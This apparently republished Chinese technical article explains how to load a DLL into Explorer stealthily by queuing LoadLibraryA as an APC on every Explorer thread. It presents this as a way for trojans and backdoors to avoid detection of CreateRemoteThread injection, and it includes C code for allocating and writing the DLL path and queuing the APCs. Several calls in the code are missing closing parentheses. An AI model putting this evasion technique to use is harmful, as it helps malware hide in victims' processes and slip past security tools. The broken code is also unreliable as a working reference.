向一個運行中的進程注入自己的代碼,最自然莫過于使用CreateRemoteThread,如今遠線程注入已經是泛濫成災,同樣的監測遠線程注入、防止遠線程注入的工具也舉不勝舉,一個木馬或后門啟動時向Explorer或IE的注入操作就像在自己臉上寫上“我是賊”一樣。
用戶態代碼想要更隱蔽地藏身于別的進程,就應該在注入的環節隱蔽自己的行為。下面就介紹一種非常簡單不過比較暴力的方法,給出的示例為在Explorer里加載自己的dll。
首先提到的就是一個API:QueueUserAPC
DWORD QueueUserAPC(
PAPCFUNC pfnAPC, // APC function
HANDLE hThread, // handle to thread
ULONG_PTR dwData // APC function parameter ;
大家對這個API應該并不陌生,它直接轉入了系統服務NtQueueApcThread從而利用KeInsertQueueApc向給出的目標線程的APC隊列插入一APC對象。倘若KiDeliverApc順利的去構造apc環境并執行我們的代碼那一切就OK了,只可惜沒有那么順利的事,ApcState中UserApcPending是否為TRUE有重要的影響,結果往往是你等到花兒都謝了你的代碼還是沒得到執行。在核心態往往不成問題,自己動手賦值,可是用戶態程序可不好做,怎么辦?其實最簡單的,不好做就不做啰,讓系統去干。
實際上應用程序在請求“alertable”的等待時系統就會置UserApcPending為TRUE(當KeDelayExecutionThread/KeWaitForMultipleObjects/KeWaitForSingleObject 使用TestForAlertPending時就有可能,此外還有KeTestAlertThread等,機會還是有的),最簡單的例子,目標線程調用SleepEx(***, TRUE)后我們插入APC代碼就會乖乖執行了。
比較幸運的是Explorer進程中一般情況下總有合我們意的線程,于是最簡單但并不優美的辦法就是枚舉Explorer中所有線程,全數插入,示意如下: ......
DWORD ret;
char *DllName = "c:\\MyDll.dll";
int len = strlen(DllName) + 1;
PVOID param = VirtualAllocEx(hProcess, NULL, len,
MEM_COMMIT | MEM_TOP_DOWN,
PAGE_READWRITE);
if (param != NULL)
{
if (WriteProcessMemory(hProcess, param,
(LPVOID)DllName, len, &ret))
{
for (DWORD p = 0; p < NumberOfThreads; p ++)
{
hThread = OpenThread(THREAD_ALL_ACCESS, 0, ThreadId[p]);
if (hThread != 0)
{
InjectDll(hProcess, hThread, (DWORD)param);
CloseHandle(hThread);
}
}
}
......
其中InjectDll:
void InjectDll(HANDLE hProcess, HANDLE hThread, DWORD param)
{
QueueUserAPC(
(PAPCFUNC)GetProcAddress(GetModuleHandle("kernel32.dll", "LoadLibraryA",
hThread,
(DWORD)param
;
}
責任編輯 趙毅 zhaoyi#51cto.com TEL:(010)68476636-8001


